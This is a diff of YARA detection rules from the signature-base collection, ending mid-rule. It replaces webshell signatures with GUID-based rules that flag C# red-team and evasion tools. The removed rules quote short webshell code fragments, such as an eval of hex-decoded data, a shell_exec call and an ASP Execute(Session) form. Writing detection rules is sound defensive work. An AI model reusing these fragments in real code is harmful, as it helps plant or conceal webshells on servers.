-		$s0 = "$res = mssql_query(\"select * from r57_temp_table\",$db);" fullword
-		$s2 = "'eng_text30'=>'Cat file'," fullword
-		$s3 = "@mssql_query(\"drop table r57_temp_table\",$db);" fullword
+		$typelibguid0lo = "fff0a9a3-dfd4-402b-a251-6046d765ad78" ascii wide
+		$typelibguid0up = "FFF0A9A3-DFD4-402B-A251-6046D765AD78" ascii wide
 
 	condition:
-		1 of them
+		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and any of them
 }
-rule SIGNATURE_BASE__Nixrem_Php_Php_C99Shell_V1_0_Php_Php_C99Php_NIX_REMOTE_WEB_SHELL_V_0_5_Alpha_Lite_Public_Version_Php
+import "pe"
+
+rule SIGNATURE_BASE_HKTL_NET_GUID_AV_Evasion_Tool : FILE
 {
 	meta:
-		description = "Semi-Auto-generated "
-		author = "Neo23x0 Yara BRG + customization by Stefan -dfate- Molls"
-		id = "ce88027c-ae08-59f3-948d-6f3d58515468"
-		date = "2023-12-05"
-		modified = "2023-12-05"
-		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-webshells.yar#L5504-L5521"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "f7575db2c8f147d03d5b93b431d1a73c4182b5db6e801e672914778b2042a712"
+		description = "Detects c# red/black-team tools via typelibguid"
+		author = "Arnim Rupp (https://github.com/ruppde)"
+		id = "d4257465-38a0-56b9-8402-b92e21b96cb0"
+		date = "2020-12-13"
+		modified = "2023-04-06"
+		reference = "https://github.com/1y0n/AV_Evasion_Tool"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_github_net_redteam_tools_guids.yar#L1600-L1616"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "682d16cbef455680186ca9d17c3d24619e4b018cd7915cea4f0e2f2f0c843e98"
 		score = 75
 		quality = 85
-		tags = ""
-		super_rule = 1
-		hash0 = "40a3e86a63d3d7f063a86aab5b5f92c6"
-		hash1 = "d8ae5819a0a2349ec552cbcf3a62c975"
-		hash2 = "9e9ae0332ada9c3797d6cee92c2ede62"
-		hash3 = "f3ca29b7999643507081caab926e2e74"
+		tags = "FILE"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s0 = "$num = $nixpasswd + $nixpwdperpage;" fullword
-		$s1 = "$ret = posix_kill($pid,$sig);" fullword
-		$s2 = "if ($uid) {echo join(\":\",$uid).\"<br>\";}" fullword
-		$s3 = "$i = $nixpasswd;" fullword
+		$typelibguid0lo = "1937ee16-57d7-4a5f-88f4-024244f19dc6" ascii wide
+		$typelibguid0up = "1937EE16-57D7-4A5F-88F4-024244F19DC6" ascii wide
+		$typelibguid1lo = "7898617d-08d2-4297-adfe-5edd5c1b828b" ascii wide
+		$typelibguid1up = "7898617D-08D2-4297-ADFE-5EDD5C1B828B" ascii wide
 
 	condition:
-		2 of them
+		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and any of them
 }
-rule SIGNATURE_BASE_Darksecurityteam_Webshell
+import "pe"
+
+rule SIGNATURE_BASE_HKTL_NET_GUID_Fenrir : FILE
 {
 	meta:
-		description = "Dark Security Team Webshell"
-		author = "Florian Roth (Nextron Systems)"
-		id = "78dcd62f-9215-5571-a5ef-5f811ce9672f"
-		date = "2023-12-05"
-		modified = "2023-12-05"
-		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-webshells.yar#L5525-L5537"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "f1c95b13a71ca3629a0bb79601fcacf57cdfcf768806a71b26f2448f8c1d5d24"
-		logic_hash = "0c58ed8845cb04d785322b280647d424e1028a3be7e92b2493fd907fae36b16d"
-		score = 50
+		description = "Detects c# red/black-team tools via typelibguid"
+		author = "Arnim Rupp (https://github.com/ruppde)"
+		id = "cfc6312d-5997-5261-b771-c7f3f30bf86c"
+		date = "2020-12-13"
+		modified = "2023-04-06"
+		reference = "https://github.com/nccgroup/Fenrir"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_github_net_redteam_tools_guids.yar#L1618-L1632"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "f2fb94506f10bbf9f077cb81019873c810ea983888192b0d5ccb3e5e02891288"
+		score = 75
 		quality = 85
-		tags = ""
+		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s0 = "form method=post><input type=hidden name=\"\"#\"\" value=Execute(Session(\"\"#\"\"))><input name=thePath value=\"\"\"&HtmlEncode(Server.MapPath(\".\"))&" ascii
+		$typelibguid0lo = "aecec195-f143-4d02-b946-df0e1433bd2e" ascii wide
+		$typelibguid0up = "AECEC195-F143-4D02-B946-DF0E1433BD2E" ascii wide
 
 	condition:
-		1 of them
+		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and any of them
 }
-rule SIGNATURE_BASE_PHP_Cloaked_Webshell_Superfetchexec
+import "pe"
+
+rule SIGNATURE_BASE_HKTL_NET_GUID_Stormkitty : FILE
 {
 	meta:
-		description = "Looks like a webshell cloaked as GIF - http://goo.gl/xFvioC"
-		author = "Florian Roth (Nextron Systems)"
-		id = "4611129a-9865-5603-b1ec-7db0058a80d7"
-		date = "2023-12-05"
-		modified = "2023-12-05"
-		reference = "http://goo.gl/xFvioC"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-webshells.yar#L5539-L5551"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "320b85b1ad39a90578f53c69838b6264af1e6a71c509aefc0986c7f0c77fdae9"
-		score = 50
+		description = "Detects c# red/black-team tools via typelibguid"
+		author = "Arnim Rupp (https://github.com/ruppde)"
+		id = "09d66661-5b67-5846-9bea-ec682afb62cf"
+		date = "2020-12-13"
+		modified = "2023-04-06"
+		reference = "https://github.com/LimerBoy/StormKitty"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_github_net_redteam_tools_guids.yar#L1634-L1650"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "aef8e28d9eb5f6cd6fdc0a8bf60f00b99a920197a0ecaa75baca5a8570973ab7"
+		score = 75
 		quality = 85
-		tags = ""
+		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s0 = "else{$d.=@chr(($h[$e[$o]]<<4)+($h[$e[++$o]]));}}eval($d);"
+		$typelibguid0lo = "a16abbb4-985b-4db2-a80c-21268b26c73d" ascii wide
+		$typelibguid0up = "A16ABBB4-985B-4DB2-A80C-21268B26C73D" ascii wide
+		$typelibguid1lo = "98075331-1f86-48c8-ae29-29da39a8f98b" ascii wide
+		$typelibguid1up = "98075331-1F86-48C8-AE29-29DA39A8F98B" ascii wide
 
 	condition:
-		$s0
+		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and any of them
 }
-rule SIGNATURE_BASE_Webshell_Remexp_Asp_Php
+import "pe"
+
+rule SIGNATURE_BASE_HKTL_NET_GUID_Crypter_Runtime_AV_S_Bypass : FILE
 {
 	meta:
-		description = "PHP Webshells Github Archive - file RemExp.asp.php.txt"
-		author = "Florian Roth (Nextron Systems)"
-		id = "274c8816-2711-5f12-937e-549ec2d57ce1"
-		date = "2023-12-05"
-		modified = "2023-12-05"
-		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-webshells.yar#L5555-L5570"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "d9919dcf94a70d5180650de8b81669fa1c10c5a2"
-		logic_hash = "b3cfa44898629ffa20630436ae10a94ad72f0e793d61e1157a4de649aa048fe2"
+		description = "Detects c# red/black-team tools via typelibguid"
+		author = "Arnim Rupp (https://github.com/ruppde)"
+		id = "726cd57b-d88a-5854-b2e1-76d9bd71a155"
+		date = "2020-12-13"
+		modified = "2023-04-06"
+		reference = "https://github.com/netreverse/Crypter-Runtime-AV-s-bypass"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_github_net_redteam_tools_guids.yar#L1652-L1666"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "368023cf6e78965696f676a45858b671ff75f329419ec4d7a02767c81e503027"
 		score = 75
 		quality = 85
-		tags = ""
+		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s0 = "lsExt = Right(FileName, Len(FileName) - liCount)" fullword
-		$s7 = "<td bgcolor=\"<%=BgColor%>\" title=\"<%=File.Name%>\"> <a href= \"showcode.asp?f"
-		$s13 = "Response.Write Drive.ShareName & \" [share]\"" fullword
-		$s19 = "If Request.QueryString(\"CopyFile\") <> \"\" Then" fullword
-		$s20 = "<td width=\"40%\" height=\"20\" bgcolor=\"silver\">  Name</td>" fullword
+		$typelibguid0lo = "c25e39a9-8215-43aa-96a3-da0e9512ec18" ascii wide
+		$typelibguid0up = "C25E39A9-8215-43AA-96A3-DA0E9512EC18" ascii wide
 
 	condition:
-		all of them
+		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and any of them
 }
-rule SIGNATURE_BASE_Webshell_Dc3_Security_Crew_Shell_Priv
+import "pe"
+
+rule SIGNATURE_BASE_HKTL_NET_GUID_Runasuser : FILE
 {
 	meta:
-		description = "PHP Webshells Github Archive - file dC3_Security_Crew_Shell_PRiV.php"
-		author = "Florian Roth (Nextron Systems)"
-		id = "c83bb4ba-6b4e-5a88-925b-b93d08b304e4"
-		date = "2023-12-05"
-		modified = "2023-12-05"
-		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-webshells.yar#L5571-L5587"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "1b2a4a7174ca170b4e3a8cdf4814c92695134c8a"
-		logic_hash = "f93a5d87d4a490844de578067dc0b7bac6b01ceb9130cd7c70a227566e18f16c"
+		description = "Detects c# red/black-team tools via typelibguid"
+		author = "Arnim Rupp (https://github.com/ruppde)"
+		id = "ead7819a-1397-5953-888f-2176e4041375"
+		date = "2020-12-13"
+		modified = "2023-04-06"
+		reference = "https://github.com/atthacks/RunAsUser"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_github_net_redteam_tools_guids.yar#L1668-L1682"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "585db3eecb3bb91d594c1929c4790acbde8d1c44ae30de2410ef98796c297470"
 		score = 75
 		quality = 85
-		tags = ""
+		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s0 = "@rmdir($_GET['file']) or die (\"[-]Error deleting dir!\");" fullword
-		$s4 = "$ps=str_replace(\"\\\\\",\"/\",getenv('DOCUMENT_ROOT'));" fullword
-		$s5 = "header(\"Expires: \".date(\"r\",mktime(0,0,0,1,1,2030)));" fullword
-		$s15 = "search_file($_POST['search'],urldecode($_POST['dir']));" fullword
-		$s16 = "echo base64_decode($images[$_GET['pic']]);" fullword
-		$s20 = "if (isset($_GET['rename_all'])) {" fullword
+		$typelibguid0lo = "9dff282c-93b9-4063-bf8a-b6798371d35a" ascii wide
+		$typelibguid0up = "9DFF282C-93B9-4063-BF8A-B6798371D35A" ascii wide
 
 	condition:
-		3 of them
+		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and any of them
 }
-rule SIGNATURE_BASE_Webshell_Simattacker
+import "pe"
+
+rule SIGNATURE_BASE_HKTL_NET_GUID_Hwidbypass : FILE
 {
 	meta:
-		description = "PHP Webshells Github Archive - file simattacker.php"
-		author = "Florian Roth (Nextron Systems)"
-		id = "2408fad8-780f-50de-a309-99d14a1d87b6"
-		date = "2023-12-05"
-		modified = "2023-12-05"
-		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-webshells.yar#L5588-L5606"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "258297b62aeaf4650ce04642ad5f19be25ec29c9"
-		logic_hash = "323b68f1d31df647775ad16a85b9f90bce4eac89188160a1e4853f8fec680160"
+		description = "Detects c# red/black-team tools via typelibguid"
+		author = "Arnim Rupp (https://github.com/ruppde)"
+		id = "62b0541b-6eec-546e-8445-85d25bb0d784"
+		date = "2020-12-13"
+		modified = "2023-04-06"
+		reference = "https://github.com/yunseok/HWIDbypass"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_github_net_redteam_tools_guids.yar#L1684-L1698"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "17d34d65e2867c054c7ef941c8f92a89c42f7d21a301fd5230970ac07d003d90"
 		score = 75
 		quality = 85
-		tags = ""
+		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s1 = "$from = rand (71,1020000000).\"@\".\"Attacker.com\";" fullword
-		$s4 = "&nbsp;Turkish Hackers : WWW.ALTURKS.COM <br>" fullword
-		$s5 = "&nbsp;Programer : SimAttacker - Edited By KingDefacer<br>" fullword
-		$s6 = "//fake mail = Use victim server 4 DOS - fake mail " fullword
-		$s10 = "&nbsp;e-mail : kingdefacer@msn.com<br>" fullword
-		$s17 = "error_reporting(E_ERROR | E_WARNING | E_PARSE);" fullword
-		$s18 = "echo \"<font size='1' color='#999999'>Dont in windows\";" fullword
-		$s20 = "$Comments=$_POST['Comments'];" fullword
+		$typelibguid0lo = "47e08791-d124-4746-bc50-24bd1ee719a6" ascii wide
+		$typelibguid0up = "47E08791-D124-4746-BC50-24BD1EE719A6" ascii wide
 
 	condition:
-		2 of them
+		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and any of them
 }
-rule SIGNATURE_BASE_Webshell_Dtool_Pro
+import "pe"
+
+rule SIGNATURE_BASE_HKTL_NET_GUID_Xoredreflectivedll : FILE
 {
 	meta:
-		description = "PHP Webshells Github Archive - file DTool Pro.php"
-		author = "Florian Roth (Nextron Systems)"
-		id = "9f2922d1-b2af-58ae-b194-ecb33577effa"
-		date = "2023-12-05"
-		modified = "2023-12-05"
-		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-webshells.yar#L5607-L5625"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "e2ee1c7ba7b05994f65710b7bbf935954f2c3353"
-		logic_hash = "da744efb521415fb8817c0982d8d538e1e38b1c0995f43716611df37bf371c38"
+		description = "Detects c# red/black-team tools via typelibguid"
+		author = "Arnim Rupp (https://github.com/ruppde)"
+		id = "9b584bfb-98ef-50ee-b546-780c4b210a1b"
+		date = "2020-12-13"
+		modified = "2023-04-06"
+		reference = "https://github.com/r3nhat/XORedReflectiveDLL"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_github_net_redteam_tools_guids.yar#L1700-L1716"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "8df590cacf5922fcc9d059b34b88774b1afeb78b0fcffe3cc2d8578d20baf0a0"
 		score = 75
 		quality = 85
-		tags = ""
+		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s1 = "function PHPget(){inclVar(); if(confirm(\"O PHPget agora oferece uma lista pront"
-		$s2 = "<font size=3>by r3v3ng4ns - revengans@gmail.com </font>" fullword
-		$s3 = "function PHPwriter(){inclVar();var url=prompt(\"[ PHPwriter ] by r3v3ng4ns\\nDig"
-		$s11 = "//Turns the 'ls' command more usefull, showing it as it looks in the shell" fullword
-		$s13 = "if (@file_exists(\"/usr/bin/wget\")) $pro3=\"<i>wget</i> at /usr/bin/wget, \";" fullword
-		$s14 = "//To keep the changes in the url, when using the 'GET' way to send php variables" fullword
-		$s16 = "function PHPf(){inclVar();var o=prompt(\"[ PHPfilEditor ] by r3v3ng4ns\\nDigite "
-		$s18 = "if(empty($fu)) $fu = @$_GET['fu'];" fullword
+		$typelibguid0lo = "c0e49392-04e3-4abb-b931-5202e0eb4c73" ascii wide
+		$typelibguid0up = "C0E49392-04E3-4ABB-B931-5202E0EB4C73" ascii wide
+		$typelibguid1lo = "30eef7d6-cee8-490b-829f-082041bc3141" ascii wide
+		$typelibguid1up = "30EEF7D6-CEE8-490B-829F-082041BC3141" ascii wide
 
 	condition:
-		3 of them
+		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and any of them
 }
-rule SIGNATURE_BASE_Webshell_Ironshell_4
+import "pe"
+
+rule SIGNATURE_BASE_HKTL_NET_GUID_Sharp_Suite : FILE
 {
 	meta:
-		description = "PHP Webshells Github Archive - file ironshell.php"
-		author = "Florian Roth (Nextron Systems)"
-		id = "06e87e02-372b-5d4e-be52-5515a068665b"
-		date = "2023-12-05"
-		modified = "2023-12-05"
-		old_rule_name = "WebShell_ironshell"
-		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-webshells.yar#L5626-L5645"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "d47b8ba98ea8061404defc6b3a30839c4444a262"
-		logic_hash = "1810071f261ad7390532b07ef24115726f236131aa8ffd29adbde9ebe5085e9d"
+		description = "Detects c# red/black-team tools via typelibguid"
+		author = "Arnim Rupp (https://github.com/ruppde)"
+		id = "ab3cf358-a41d-584d-baaf-5e8f7232ca85"
+		date = "2020-12-13"
+		modified = "2023-04-06"
+		reference = "https://github.com/FuzzySecurity/Sharp-Suite"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_github_net_redteam_tools_guids.yar#L1718-L1773"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "d71931b45525607ed0f442a925540dba3663aeae9b5e1fa8380ffe0ce2b5f5eb"
 		score = 75
-		quality = 85
-		tags = ""
+		quality = 60
+		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s0 = "<title>'.getenv(\"HTTP_HOST\").' ~ Shell I</title>" fullword
-		$s2 = "$link = mysql_connect($_POST['host'], $_POST['username'], $_POST"
-		$s4 = "error_reporting(0); //If there is an error, we'll show it, k?" fullword
-		$s8 = "print \"<form action=\\\"\".$me.\"?p=chmod&file=\".$content.\"&d"
-		$s15 = "if(!is_numeric($_POST['timelimit']))" fullword
-		$s16 = "if($_POST['chars'] == \"9999\")" fullword
-		$s17 = "<option value=\\\"az\\\">a - zzzzz</option>" fullword
-		$s18 = "print shell_exec($command);" fullword
+		$typelibguid0lo = "19657be4-51ca-4a85-8ab1-f6666008b1f3" ascii wide
+		$typelibguid0up = "19657BE4-51CA-4A85-8AB1-F6666008B1F3" ascii wide
+		$typelibguid1lo = "0a382d9a-897f-431a-81c2-a4e08392c587" ascii wide
+		$typelibguid1up = "0A382D9A-897F-431A-81C2-A4E08392C587" ascii wide
+		$typelibguid2lo = "467ee2a9-2f01-4a71-9647-2a2d9c31e608" ascii wide
+		$typelibguid2up = "467EE2A9-2F01-4A71-9647-2A2D9C31E608" ascii wide
+		$typelibguid3lo = "eacaa2b8-43e5-4888-826d-2f6902e16546" ascii wide
+		$typelibguid3up = "EACAA2B8-43E5-4888-826D-2F6902E16546" ascii wide
+		$typelibguid4lo = "629f86e6-44fe-4c9c-b043-1c9b64be6d5a" ascii wide
+		$typelibguid4up = "629F86E6-44FE-4C9C-B043-1C9B64BE6D5A" ascii wide
+		$typelibguid5lo = "ecf2ffe4-1744-4745-8693-5790d66bb1b8" ascii wide
+		$typelibguid5up = "ECF2FFE4-1744-4745-8693-5790D66BB1B8" ascii wide
+		$typelibguid6lo = "0a621f4c-8082-4c30-b131-ba2c98db0533" ascii wide
+		$typelibguid6up = "0A621F4C-8082-4C30-B131-BA2C98DB0533" ascii wide
+		$typelibguid7lo = "72019dfe-608e-4ab2-a8f1-66c95c425620" ascii wide
+		$typelibguid7up = "72019DFE-608E-4AB2-A8F1-66C95C425620" ascii wide
+		$typelibguid8lo = "f0d28809-b712-4380-9a59-407b7b2badd5" ascii wide
+		$typelibguid8up = "F0D28809-B712-4380-9A59-407B7B2BADD5" ascii wide
+		$typelibguid9lo = "956a5a4d-2007-4857-9259-51cd0fb5312a" ascii wide
+		$typelibguid9up = "956A5A4D-2007-4857-9259-51CD0FB5312A" ascii wide
+		$typelibguid10lo = "a3b7c697-4bb6-455d-9fda-4ab54ae4c8d2" ascii wide
+		$typelibguid10up = "A3B7C697-4BB6-455D-9FDA-4AB54AE4C8D2" ascii wide
+		$typelibguid11lo = "a5f883ce-1f96-4456-bb35-40229191420c" ascii wide
+		$typelibguid11up = "A5F883CE-1F96-4456-BB35-40229191420C" ascii wide
+		$typelibguid12lo = "28978103-d90d-4618-b22e-222727f40313" ascii wide
+		$typelibguid12up = "28978103-D90D-4618-B22E-222727F40313" ascii wide
+		$typelibguid13lo = "0c70c839-9565-4881-8ea1-408c1ebe38ce" ascii wide
+		$typelibguid13up = "0C70C839-9565-4881-8EA1-408C1EBE38CE" ascii wide
+		$typelibguid14lo = "fa1d9a36-415a-4855-8c01-54b6e9fc6965" ascii wide
+		$typelibguid14up = "FA1D9A36-415A-4855-8C01-54B6E9FC6965" ascii wide
+		$typelibguid15lo = "252676f8-8a19-4664-bfb8-5a947e48c32a" ascii wide
+		$typelibguid15up = "252676F8-8A19-4664-BFB8-5A947E48C32A" ascii wide
+		$typelibguid16lo = "447edefc-b429-42bc-b3bc-63a9af19dbd6" ascii wide
+		$typelibguid16up = "447EDEFC-B429-42BC-B3BC-63A9AF19DBD6" ascii wide
+		$typelibguid17lo = "04d0b3a6-eaab-413d-b9e2-512fa8ebd02f" ascii wide
+		$typelibguid17up = "04D0B3A6-EAAB-413D-B9E2-512FA8EBD02F" ascii wide
+		$typelibguid18lo = "5611236e-2557-45b8-be29-5d1f074d199e" ascii wide
+		$typelibguid18up = "5611236E-2557-45B8-BE29-5D1F074D199E" ascii wide
+		$typelibguid19lo = "53f622eb-0ca3-4e9b-9dc8-30c832df1c7b" ascii wide
+		$typelibguid19up = "53F622EB-0CA3-4E9B-9DC8-30C832DF1C7B" ascii wide
+		$typelibguid20lo = "414187db-5feb-43e5-a383-caa48b5395f1" ascii wide
+		$typelibguid20up = "414187DB-5FEB-43E5-A383-CAA48B5395F1" ascii wide
 
 	condition:
-		3 of them
+		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and any of them
 }
-rule SIGNATURE_BASE_Webshell_Indexer_Asp_Php
+import "pe"
+
+rule SIGNATURE_BASE_HKTL_NET_GUID_Rat_Shell : FILE
 {
 	meta:
-		description = "PHP Webshells Github Archive - file indexer.asp.php.txt"
-		author = "Florian Roth (Nextron Systems)"
-		id = "d6e17429-1b58-5a1b-846d-f5dbfd74cf3a"
-		date = "2023-12-05"
-		modified = "2023-12-05"
-		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-webshells.yar#L5646-L5662"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "e9a7aa5eb1fb228117dc85298c7d3ecd8e288a2d"
-		logic_hash = "c576925c95b5bd2549e8039a1fc6ac228bfab5ddee8c4e12264ea78e9828ba5c"
+		description = "Detects c# red/black-team tools via typelibguid"
+		author = "Arnim Rupp (https://github.com/ruppde)"
+		id = "8f206175-f7e4-5543-8059-24f102fcd4b9"
+		date = "2020-12-13"
+		modified = "2023-04-06"
+		reference = "https://github.com/stphivos/rat-shell"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_github_net_redteam_tools_guids.yar#L1775-L1791"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "2383483678c2a4b2545484c28aa81c2933c75a6bfb24dcfd6c989be90a2aca76"
 		score = 75
 		quality = 85
-		tags = ""
+		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s0 = "<meta http-equiv=\"Content-Language\" content=\"tr\">" fullword
-		$s1 = "<title>WwW.SaNaLTeRoR.OrG - inDEXER And ReaDer</title>" fullword
-		$s2 = "<form action=\"?Gonder\" method=\"post\">" fullword
-		$s4 = "<form action=\"?oku\" method=\"post\">" fullword
-		$s7 = "var message=\"SaNaLTeRoR - " fullword
-		$s8 = "nDexEr - Reader\"" fullword
+		$typelibguid0lo = "7a15f8f6-6ce2-4ca4-919d-2056b70cc76a" ascii wide
+		$typelibguid0up = "7A15F8F6-6CE2-4CA4-919D-2056B70CC76A" ascii wide
+		$typelibguid1lo = "1659d65d-93a8-4bae-97d5-66d738fc6f6c" ascii wide
+		$typelibguid1up = "1659D65D-93A8-4BAE-97D5-66D738FC6F6C" ascii wide
 
 	condition:
-		3 of them
+		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and any of them
 }
-rule SIGNATURE_BASE_Webshell_Toolaspshell
+import "pe"
+
+rule SIGNATURE_BASE_HKTL_NET_GUID_Dotnet_Gargoyle : FILE
 {
 	meta:
-		description = "PHP Webshells Github Archive - file toolaspshell.php"
-		author = "Florian Roth (Nextron Systems)"
-		id = "016af030-4991-583c-aab5-a2933ae0eeec"
-		date = "2023-12-05"
-		modified = "2023-12-05"
-		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-webshells.yar#L5663-L5676"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "11d236b0d1c2da30828ffd2f393dd4c6a1022e3f"
-		logic_hash = "cb46d3170a9c144a22ef8c91b381495a471d2aa178a4a123eb9a1e32e1db7683"
+		description = "Detects c# red/black-team tools via typelibguid"
+		author = "Arnim Rupp (https://github.com/ruppde)"
+		id = "5efd0c83-cb65-5bda-b55e-4a89db5f337c"
+		date = "2020-12-13"
+		modified = "2023-04-06"
+		reference = "https://github.com/countercept/dotnet-gargoyle"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_github_net_redteam_tools_guids.yar#L1793-L1811"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "29147b4e14f45757274ca1bc0d140323a908d663f580b00cc705bd9cf3072f56"
 		score = 75
 		quality = 85
-		tags = ""
+		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s0 = "cprthtml = \"<font face='arial' size='1'>RHTOOLS 1.5 BETA(PVT) Edited By KingDef"
-		$s12 = "barrapos = CInt(InstrRev(Left(raiz,Len(raiz) - 1),\"\\\")) - 1" fullword
-		$s20 = "destino3 = folderItem.path & \"\\index.asp\"" fullword
+		$typelibguid0lo = "76435f79-f8af-4d74-8df5-d598a551b895" ascii wide
